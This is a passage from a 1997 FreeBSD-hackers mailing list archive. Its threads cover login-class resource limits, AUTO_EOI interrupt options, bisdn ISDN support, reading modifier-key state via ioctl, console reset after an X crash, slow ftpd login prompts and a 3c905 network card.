"lot of resources", but the requirements may be different. My point is that user-level resource allocation may not be appropriate for processes that are delivering mail. I'm open to argument on that one. :) > > The only other area I am aware of where there is a 'hole' is at(1), > > which is on the todo list. Other things keep cropping up and get > > higher on the list. :) > > Hmmm, doesn't wu-ftpd allow users to exec via "SITE EXEC"? wu-ftpd > isn't installed by default, but you have to vigilant. I guess this is > kinda of ports issue... Yes, that's another one that seems to have slipped by. I'll add it. Regards, David From owner-freebsd-hackers Fri Aug 8 07:21:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA20811 for hackers-outgoing; Fri, 8 Aug 1997 07:21:06 -0700 (PDT) Received: from horst.bfd.com (horst.bfd.com [204.160.242.10]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA20806 for ; Fri, 8 Aug 1997 07:21:03 -0700 (PDT) Received: from harlie.bfd.com (bastion.bfd.com [204.160.242.14]) by horst.bfd.com (8.8.5/8.7.3) with SMTP id HAA29486; Fri, 8 Aug 1997 07:20:48 -0700 (PDT) Date: Fri, 8 Aug 1997 07:20:48 -0700 (PDT) From: "Eric J. Schwertfeger" To: Tom Samplonius cc: John-Mark Gurney , hackers@FreeBSD.ORG Subject: Re: AUTO_EOI_* ? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 7 Aug 1997, Tom Samplonius wrote: > On Thu, 7 Aug 1997, John-Mark Gurney wrote: > > > Tom Samplonius scribbled this message on Aug 7: > > > > > > It seems that the AUTO_EOI_* options might speed interupt handling. > > > I've tried them on some motherboards, and they seem to work ok. Are these > > > options recommended? I've seen some talk that these options should be > > > eliminated? > > > > well... don't make AUTO_EOI_2 enabled by default... I have a motherboard > > that dies when this option is enabled... though I haven't found one yet > > when AUTO_EOI_1 is enabled... the comments say that AUTO_EOI_1 will > > break suspend/resume on some notebooks... so it looks like we can't > > enable both by default... > > Every motherboard I've tried it on works fine, even an old EISA 486 > motherboard, but all the boards I tested were made by ASUS... It doesn't work on a few of my older Pentium MBs, but seems to work on anything based on the HX/VX chipsets (or newer from Intel) and maybe the FX (not sure, I thought I had problems with it). From owner-freebsd-hackers Fri Aug 8 07:25:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA20981 for hackers-outgoing; Fri, 8 Aug 1997 07:25:25 -0700 (PDT) Received: from bagpuss.visint.co.uk (bagpuss.visint.co.uk [194.207.134.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA20976 for ; Fri, 8 Aug 1997 07:25:19 -0700 (PDT) Received: from dylan.visint.co.uk (dylan.visint.co.uk [194.207.134.180]) by bagpuss.visint.co.uk (8.7.5/8.7.3) with SMTP id PAA16417; Fri, 8 Aug 1997 15:24:42 +0100 (BST) Date: Fri, 8 Aug 1997 15:24:42 +0100 (BST) From: Stephen Roome To: Wolfgang Helbig cc: perhaps@yes.no, freebsd-hackers@FreeBSD.ORG Subject: Re: ISDN drivers/cards In-Reply-To: <199708052255.AAA05913@helbig.informatik.ba-stuttgart.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 6 Aug 1997, Wolfgang Helbig wrote: > But w/o running routed and with some care while editing bisdnd.cfg > it works like a charm. You're right, the installation of bisdnd > including the kernel patches is not the most elegant thing under > the sun--and this is getting worse with every committ to the kernel > sources, that change the interface. This is really my main point, bisdn works for some folks and not for other, but is no real reliable base for part of FreeBSD. It's a mess and that could explain why some people have so much luck and other don't. Mostly boiling down to "luck" I expect. -- Steve Roome - Vision Interactive Ltd. Tel:+44(0)117 9730597 Home:+44(0)976 241342 WWW: http://dylan.visint.co.uk/ From owner-freebsd-hackers Fri Aug 8 08:15:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA23496 for hackers-outgoing; Fri, 8 Aug 1997 08:15:15 -0700 (PDT) Received: from comtat.kazan.su (root@comtat.kazan.su [193.125.80.35]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA23470 for ; Fri, 8 Aug 1997 08:14:55 -0700 (PDT) Received: from goff.comtat.kazan.su (root@goff.comtat.kazan.su [194.135.143.34]) by comtat.kazan.su (8.8.5-mih-280197/8.7.Ru) with ESMTP id TAA15182 for ; Fri, 8 Aug 1997 19:14:21 +0400 (MSD) Received: (from root@localhost) by goff.comtat.kazan.su (8.8.5/8.8.5R.S) id TAA05706 for hackers@freebsd.org; Fri, 8 Aug 1997 19:14:19 +0400 (MSD) Date: Fri, 8 Aug 97 15:14:13 +0000 From: root@goff.comtat.kazan.su (System Administrator) To: hackers@freebsd.org Message-ID: Subject: How to get state of ctrl, alt, shift keys ? X-Mailer: BML [UNIX Beauty Mail v.1.39] Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, All! Can anybody help me? I need for my programm to get stat of the keys ctl,alt,shift - well, You know for this combinations, like Ctrl+PgUP and so on. Question: How can I do this? In Linux I use ioctl call with parameter TIOCLINUX and get (int) with values. Is there are some similar simple way to FreeBSD ? I would be thankful for reply to this question. And, if it is possible, send a copy of reply to my E-mail, cause I'm not in mailinglist :( With best wishes, Timur Bakeyev. From owner-freebsd-hackers Fri Aug 8 08:18:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA23693 for hackers-outgoing; Fri, 8 Aug 1997 08:18:44 -0700 (PDT) Received: from comtat.kazan.su (root@comtat.kazan.su [193.125.80.35]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA23563 for ; Fri, 8 Aug 1997 08:15:58 -0700 (PDT) Received: from goff.comtat.kazan.su (root@goff.comtat.kazan.su [194.135.143.34]) by comtat.kazan.su (8.8.5-mih-280197/8.7.Ru) with ESMTP id TAA15194 for ; Fri, 8 Aug 1997 19:14:51 +0400 (MSD) Received: (from root@localhost) by goff.comtat.kazan.su (8.8.5/8.8.5R.S) id TAA05710 for hackers@freebsd.org; Fri, 8 Aug 1997 19:14:51 +0400 (MSD) Date: Fri, 8 Aug 97 15:14:51 +0000 From: root@goff.comtat.kazan.su (System Administrator) To: hackers@freebsd.org Message-ID: Subject: How to get state of ctrl, alt, shift keys ? Reply-To: root@timur.kazan.su X-Mailer: BML [UNIX Beauty Mail v.1.39] Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, All! Can anybody help me? I need for my programm to get stat of the keys ctl,alt,shift - well, You know for this combinations, like Ctrl+PgUP and so on. Question: How can I do this? In Linux I use ioctl call with parameter TIOCLINUX and get (int) with values. Is there are some similar simple way to FreeBSD ? I would be thankful for reply to this question. And, if it is possible, send a copy of reply to my E-mail, cause I'm not in mailinglist :( With best wishes, Timur Bakeyev. From owner-freebsd-hackers Fri Aug 8 09:07:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA26036 for hackers-outgoing; Fri, 8 Aug 1997 09:07:02 -0700 (PDT) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA26030 for ; Fri, 8 Aug 1997 09:06:55 -0700 (PDT) Received: (from sos@localhost) by sos.freebsd.dk (8.8.7/8.7.3) id SAA02524; Fri, 8 Aug 1997 18:06:44 +0200 (MEST) From: Søren Schmidt Message-Id: <199708081606.SAA02524@sos.freebsd.dk> Subject: Re: How to get state of ctrl, alt, shift keys ? In-Reply-To: from System Administrator at "Aug 8, 97 03:14:13 pm" To: root@goff.comtat.kazan.su (System Administrator) Date: Fri, 8 Aug 1997 18:06:44 +0200 (MEST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In reply to System Administrator who wrote: > Hi, All! > > Can anybody help me? I need for my programm to get stat of the keys > ctl,alt,shift - well, You know for this combinations, like Ctrl+PgUP > and so on. Question: How can I do this? In Linux I use ioctl call > with parameter TIOCLINUX and get (int) with values. Is there are > some similar simple way to FreeBSD ? I would be thankful for reply > to this question. And, if it is possible, send a copy of reply to > my E-mail, cause I'm not in mailinglist :( You can use the KDGKBSTATE ioctl to read the modifier keys, see What do you want that for ?? If you need different value for ctrl/alt PgUP then you could modify the keymap to return different values, that should be alot easier... -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-hackers Fri Aug 8 10:25:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA00131 for hackers-outgoing; Fri, 8 Aug 1997 10:25:39 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA00124 for ; Fri, 8 Aug 1997 10:25:35 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA24434; Fri, 8 Aug 1997 10:19:10 -0700 From: Terry Lambert Message-Id: <199708081719.KAA24434@phaeton.artisoft.com> Subject: Re: login classes To: davidn@labs.usn.blaze.net.au (David Nugent) Date: Fri, 8 Aug 1997 10:19:09 -0700 (MST) Cc: tom@sdf.com, batie@aahz.jf.intel.com, hackers@FreeBSD.ORG In-Reply-To: from "David Nugent" at Aug 8, 97 11:04:36 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Do you have a comprehensive list of things that are setting the login > > class? > > login, slogin (our port, anyway), rlogin, telnet (both via login), ftpd, > cron. Bletch. This probably needs to be unified with the utmp/wtmp writing code, somehow. It's probably a mistake that xdm doesn't do it. One happy fix would be to start with default unlimited/soft-limited and then set it down. That way, places where it was not used would not find themselves screwed. 8-(. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Aug 8 10:53:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA01789 for hackers-outgoing; Fri, 8 Aug 1997 10:53:35 -0700 (PDT) Received: from server.local.sunyit.edu (A-T34.rh.sunyit.edu [150.156.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA01782 for ; Fri, 8 Aug 1997 10:53:31 -0700 (PDT) Received: from localhost (perlsta@localhost) by server.local.sunyit.edu (8.8.5/8.8.5) with SMTP id MAA00682 for ; Fri, 8 Aug 1997 12:59:19 GMT X-Authentication-Warning: server.local.sunyit.edu: perlsta owned process doing -bs Date: Fri, 8 Aug 1997 12:59:19 +0000 (GMT) From: Alfred Perlstein X-Sender: perlsta@server.local.sunyit.edu To: hackers@FreeBSD.ORG Subject: reset screen hardware? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Last night X crashed on me, i thought my machine needed to be rebooted, but first i tried to telnet into it, i was able and i killed X and had to restart X twice to get it to work, well everything seemed fine after that, however my Text consols were all fubar'd and i had no idea how to reset the text part of my display to i wound up rebooting anyway. What could i have done to reset the text screens? ._________________________________________ __ _ |Alfred Perlstein - Programming & SysAdmin |perlsta@sunyit.edu |http://www.cs.sunyit.edu/~perlsta : ---"Have you seen my FreeBSD tatoo?" ' From owner-freebsd-hackers Fri Aug 8 11:16:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA03303 for hackers-outgoing; Fri, 8 Aug 1997 11:16:22 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA03297 for ; Fri, 8 Aug 1997 11:16:19 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.6/8.8.6) with SMTP id LAA00295 for ; Fri, 8 Aug 1997 11:16:18 -0700 (PDT) Date: Fri, 8 Aug 1997 11:16:17 -0700 (PDT) From: Jaye Mathisen To: hackers@freebsd.org Subject: Anybody seen a chio interface to amanda? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk chg-generic just doesn't look like it does the job for my ADIC VLS DLT tape changer system. From owner-freebsd-hackers Fri Aug 8 12:02:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA06292 for hackers-outgoing; Fri, 8 Aug 1997 12:02:17 -0700 (PDT) Received: from casparc.ppp.net (mail.ppp.net [194.64.12.35]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA06281 for ; Fri, 8 Aug 1997 12:02:09 -0700 (PDT) Received: from ernie by casparc.ppp.net with uucp (Smail3.1.28.1 #1) id m0wwuIT-000o9fC; Fri, 8 Aug 97 21:02 MET DST Received: from bert.kts.org(really [194.55.156.2]) by ernie.kts.org via sendmail with smtp id for ; Fri, 8 Aug 1997 20:42:39 +0200 (MET DST) (Smail-3.2.0.91 1997-Jan-14 #2 built 1997-Feb-8) Received: by bert.kts.org via sendmail with stdio id for freebsd-hackers@FreeBSD.ORG; Fri, 8 Aug 1997 20:35:46 +0200 (CEST) (Smail-3.2.0.94 1997-Apr-22 #7 built 1997-Jul-4) Message-Id: From: hm@kts.org (Hellmuth Michaelis) Subject: Re: ISDN drivers/cards In-Reply-To: from Stephen Roome at "Aug 8, 97 03:24:42 pm" To: freebsd-hackers@FreeBSD.ORG Date: Fri, 8 Aug 1997 20:35:46 +0200 (CEST) Organization: Kitchen Table Systems Reply-To: hm@kts.org X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > This is really my main point, bisdn works for some folks and not for > other, but is no real reliable base for part of FreeBSD. It's a mess and > that could explain why some people have so much luck and other don't. Bisdn "is" not, bisdn "was". Talking is cheap. hellmuth -- Hellmuth Michaelis hm@kts.org Hamburg, Europe There is a difference between an open mind and a hole in the head From owner-freebsd-hackers Fri Aug 8 12:50:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA08499 for hackers-outgoing; Fri, 8 Aug 1997 12:50:28 -0700 (PDT) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA08406 for ; Fri, 8 Aug 1997 12:49:52 -0700 (PDT) Received: (from sos@localhost) by sos.freebsd.dk (8.8.7/8.7.3) id VAA02873; Fri, 8 Aug 1997 21:49:54 +0200 (MEST) From: Søren Schmidt Message-Id: <199708081949.VAA02873@sos.freebsd.dk> Subject: Re: reset screen hardware? In-Reply-To: from Alfred Perlstein at "Aug 8, 97 12:59:19 pm" To: perlsta@sunyit.edu (Alfred Perlstein) Date: Fri, 8 Aug 1997 21:49:54 +0200 (MEST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In reply to Alfred Perlstein who wrote: > > Last night X crashed on me, i thought my machine needed to be rebooted, > but first i tried to telnet into it, i was able and i killed X and had to > restart X twice to get it to work, well everything seemed fine after that, > however my Text consols were all fubar'd and i had no idea how to reset > the text part of my display to i wound up rebooting anyway. > > What could i have done to reset the text screens? Well, not much actually, UNLESS you have intimate knowledge, and the means to use it in a program, about your video chip. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-hackers Fri Aug 8 12:52:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA08725 for hackers-outgoing; Fri, 8 Aug 1997 12:52:49 -0700 (PDT) Received: from clifford.inch.com (omar@clifford.inch.com [207.240.140.163]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA08713 for ; Fri, 8 Aug 1997 12:52:46 -0700 (PDT) Received: (from omar@localhost) by clifford.inch.com (8.8.5/8.8.5) id PAA06021; Fri, 8 Aug 1997 15:50:24 -0400 Message-ID: <19970808155023.33580@clifford.inch.com> Date: Fri, 8 Aug 1997 15:50:23 -0400 From: Omar Thameen To: freebsd-hackers@freebsd.org Subject: ftpd/wu-ftpd: login prompt delay Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.65 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Does anyone have any ideas on this? It didn't happen with the 2.1.7 ftpd. Please don't make me resort to wu-ftpd, which returns a login prompt right away. Omar -----Forwarded message from Omar Thameen ----- We're trying to use the stock ftpd on 2.2 machines running as webservers. Hence, each server has a number of IPs aliased. The problem is, on these 2.2 machines, ftpd takes a long time to return a login prompt, preventing some users from connecting because their software has too short of a timeout. I get the "Connected to domain.com" message immediately, but the login prompt takes a good 20-30 seconds more. It's not a nameservice issue, because if I install the wu-ftpd port (which I'm trying to move away from since ftpd seems to be developing nicely), it returns the login prompt right away. One thing I have found is that on machines that have only one IP, the login prompt returns quickly. It's these webservers with a number of IP aliases that seems to be the problem. Any ideas, advice, or commiseration? Omar -----End of forwarded message----- From owner-freebsd-hackers Fri Aug 8 12:54:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA08896 for hackers-outgoing; Fri, 8 Aug 1997 12:54:14 -0700 (PDT) Received: from server.local.sunyit.edu (A-T34.rh.sunyit.edu [150.156.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA08867 for ; Fri, 8 Aug 1997 12:54:02 -0700 (PDT) Received: from localhost (perlsta@localhost) by server.local.sunyit.edu (8.8.5/8.8.5) with SMTP id OAA01483; Fri, 8 Aug 1997 14:58:33 GMT X-Authentication-Warning: server.local.sunyit.edu: perlsta owned process doing -bs Date: Fri, 8 Aug 1997 14:58:32 +0000 (GMT) From: Alfred Perlstein X-Sender: perlsta@server.local.sunyit.edu To: Søren Schmidt cc: hackers@FreeBSD.ORG Subject: Re: reset screen hardware? In-Reply-To: <199708081949.VAA02873@sos.freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Last night X crashed on me, i thought my machine needed to be rebooted, > > but first i tried to telnet into it, i was able and i killed X and had to > > restart X twice to get it to work, well everything seemed fine after that, > > however my Text consols were all fubar'd and i had no idea how to reset > > the text part of my display to i wound up rebooting anyway. > > > > What could i have done to reset the text screens? > > Well, not much actually, UNLESS you have intimate knowledge, and the > means to use it in a program, about your video chip. Well setting a text mode is in the bios, but of course FreeBSD bypasses the bios, so i'm sure it has some routine somewhere to clear the screen and set up the 80x25 text screen... if it could do that then i could take down X, refresh 80x25, the restart X and everything would be cool :) Alfred From owner-freebsd-hackers Fri Aug 8 13:58:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA13225 for hackers-outgoing; Fri, 8 Aug 1997 13:58:47 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA13215 for ; Fri, 8 Aug 1997 13:58:43 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA27986; Fri, 8 Aug 1997 13:55:45 -0700 From: Terry Lambert Message-Id: <199708082055.NAA27986@phaeton.artisoft.com> Subject: Re: reset screen hardware? To: perlsta@sunyit.edu (Alfred Perlstein) Date: Fri, 8 Aug 1997 13:55:45 -0700 (MST) Cc: hackers@FreeBSD.ORG In-Reply-To: from "Alfred Perlstein" at Aug 8, 97 12:59:19 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Last night X crashed on me, i thought my machine needed to be rebooted, > but first i tried to telnet into it, i was able and i killed X and had to > restart X twice to get it to work, well everything seemed fine after that, > however my Text consols were all fubar'd and i had no idea how to reset > the text part of my display to i wound up rebooting anyway. > > What could i have done to reset the text screens? You could have modified X to use a DDX in the kernel so that when the X server was killed, the kernel driver would be able to restore the video card to the pre-X server state. Failing that, the console driver has no idea what the X server has done to the I/O ports and video card reigsters; not knowing what was done to the card means it can't know how to undo it. So, you could have tried to less destructively kill the X server (kill -1 or -15 instead of -9) and prayed the signal handler did the cleanup. If it didn't, there was nothing you could do, period. This is a basic problem with the design of the X-server/video card interface for user space X server code. Nothing short of a redesign can really fix it. By the same token, the kernel debugger can't restore the video state when you drop into the kernel debugger from X in the event of a fault or debugging trap. This is one of my most long-standing gripes with UNIX systems since the first days of X windows. 8-(. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Aug 8 14:07:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA14127 for hackers-outgoing; Fri, 8 Aug 1997 14:07:30 -0700 (PDT) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA14103 for ; Fri, 8 Aug 1997 14:07:22 -0700 (PDT) Received: (from sos@localhost) by sos.freebsd.dk (8.8.7/8.7.3) id XAA03507; Fri, 8 Aug 1997 23:07:30 +0200 (MEST) From: Søren Schmidt Message-Id: <199708082107.XAA03507@sos.freebsd.dk> Subject: Re: reset screen hardware? In-Reply-To: from Alfred Perlstein at "Aug 8, 97 02:58:32 pm" To: perlsta@sunyit.edu (Alfred Perlstein) Date: Fri, 8 Aug 1997 23:07:30 +0200 (MEST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In reply to Alfred Perlstein who wrote: > > > Last night X crashed on me, i thought my machine needed to be rebooted, > > > but first i tried to telnet into it, i was able and i killed X and had to > > > restart X twice to get it to work, well everything seemed fine after that, > > > however my Text consols were all fubar'd and i had no idea how to reset > > > the text part of my display to i wound up rebooting anyway. > > > > > > What could i have done to reset the text screens? > > > > Well, not much actually, UNLESS you have intimate knowledge, and the > > means to use it in a program, about your video chip. > > Well setting a text mode is in the bios, but of course FreeBSD bypasses > the bios, so i'm sure it has some routine somewhere to clear the screen > and set up the 80x25 text screen... That was what I meant by intimate knowledge of the video chip(set)... You see each vendor has his own method to set the HW into higher than VGA modes. Syscons ONLY knows about std modes for good reason, so you need code for YOUR specific video HW. To get an idea of how much this takes look at all the videochip specific code there is in XFree86's Xserver and you'll quickly discover why the code isn't in the kernel. > if it could do that then i could take down X, refresh 80x25, the restart X > and everything would be cool :) And now we get Terry's lesson on how to put ddx in the kernel, *sigh* -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-hackers Fri Aug 8 14:46:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA16677 for hackers-outgoing; Fri, 8 Aug 1997 14:46:16 -0700 (PDT) Received: from inet.hkg.com (root@inet.hkg.com [206.85.23.17]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA16658 for ; Fri, 8 Aug 1997 14:45:27 -0700 (PDT) Received: from My Computer (yckam025005.netvigator.com [206.161.49.69]) by inet.hkg.com (8.6.12/8.6.9) with SMTP id FAA15519; Sat, 9 Aug 1997 05:26:13 +0800 Date: Sat, 9 Aug 1997 05:26:13 +0800 From: music@INET.hkg.com Message-Id: <199708082126.FAA15519@inet.hkg.com> Subject: Alamo - "The One-Stop Music Shop" To: undisclosed-recipients:; Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Guaranteed lowest prices and largest selection! Factory Direct! We have millions of inventory from over 3,000 makers worldwide. For FULL details, e-mail us a blank message to: mailto:music@hkg.com?subject=INFO. If you're not interested, e-mail us a blank message to: mailto:music@hkg.com?subject=DELETE From owner-freebsd-hackers Fri Aug 8 14:55:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA17173 for hackers-outgoing; Fri, 8 Aug 1997 14:55:11 -0700 (PDT) Received: from helbig.informatik.ba-stuttgart.de (rvc1.informatik.ba-stuttgart.de [141.31.112.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA17166 for ; Fri, 8 Aug 1997 14:55:04 -0700 (PDT) Received: (from helbig@localhost) by helbig.informatik.ba-stuttgart.de (8.8.7/8.8.5) id XAA12878; Fri, 8 Aug 1997 23:53:40 +0200 (MET DST) From: Wolfgang Helbig Message-Id: <199708082153.XAA12878@helbig.informatik.ba-stuttgart.de> Subject: Re: ISDN drivers/cards In-Reply-To: from Stephen Roome at "Aug 8, 97 03:24:42 pm" To: steve@visint.co.uk (Stephen Roome) Date: Fri, 8 Aug 1997 23:53:39 +0200 (MET DST) Cc: helbig@MX.BA-Stuttgart.De, perhaps@yes.no, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > On Wed, 6 Aug 1997, Wolfgang Helbig wrote: > > But w/o running routed and with some care while editing bisdnd.cfg > > it works like a charm. You're right, the installation of bisdnd > > including the kernel patches is not the most elegant thing under > > the sun--and this is getting worse with every committ to the kernel > > sources, that change the interface. > > This is really my main point, bisdn works for some folks and not for > other, but is no real reliable base for part of FreeBSD. It's a mess and > that could explain why some people have so much luck and other don't. > Mostly boiling down to "luck" I expect. The messy part starts when you try to run ppp over isdn. But straight bisdn-097 works fine for a lot of people. I installed it nearly a year ago successfully. It was one of the first things I did with FreeBSD, so it didn't take much expertise to install. Wolfgang From owner-freebsd-hackers Fri Aug 8 15:17:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA18384 for hackers-outgoing; Fri, 8 Aug 1997 15:17:22 -0700 (PDT) Received: from fission (fission.dt.wdc.com [129.253.40.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA18373 for ; Fri, 8 Aug 1997 15:17:17 -0700 (PDT) Received: from dtmail.dt.wdc.com ([192.40.5.26]) by fission (8.7.1/8.7.1) with ESMTP id PAA10356 for ; Fri, 8 Aug 1997 15:17:09 -0700 (PDT) Received: from daemon.dt.wdc.com (daemon.dt.wdc.com [172.31.10.129]) by dtmail.dt.wdc.com (8.7.1/8.7.1) with ESMTP id PAA18970 for ; Fri, 8 Aug 1997 15:17:06 -0700 (PDT) Received: from localhost (kehlet@localhost) by daemon.dt.wdc.com (8.8.5/8.8.5) with SMTP id PAA01083 for ; Fri, 8 Aug 1997 15:15:51 -0700 (PDT) X-Authentication-Warning: daemon.dt.wdc.com: kehlet owned process doing -bs Date: Fri, 8 Aug 1997 15:15:51 -0700 (PDT) From: Steve Kehlet To: hackers@FreeBSD.ORG Subject: 3c90x vx0 driver In-Reply-To: <199708082107.XAA03507@sos.freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I've been trying to get 10MB full-duplex to work on my 3com 3c905 ethernet card, but have been getting sluggish response and lots of errors at the switch. At half-duplex I have no problems. It's irritating because it seems to work fine under NT ;-). I'm running 2.2.1; I'd like to know if a later release might work better. Searching the mailing list archives is interesting (but mostly out of date) and gives me no clear answer. Does anyone know? vx0 <3COM 3C905 Fast Etherlink XL PCI> rev 0 int a irq 10 on pci0:11 mii[*mii*] address 00:60:97:c2:7f:b0 daemon:/home/kehlet-> uname -a FreeBSD daemon 2.2-STABLE FreeBSD 2.2-STABLE #0: Tue Jun 10 11:25:52 PDT 1997 kehlet@daemon:/usr/src/sys/compile/DAEMON i386 In case it helps, I used the DOS util to set the card to "Max network perf", "full duplex", and "10 MB". Also, I don't have the choice to use any other ethernet card since this is my computer at work. Thanks very much, Steve Kehlet From 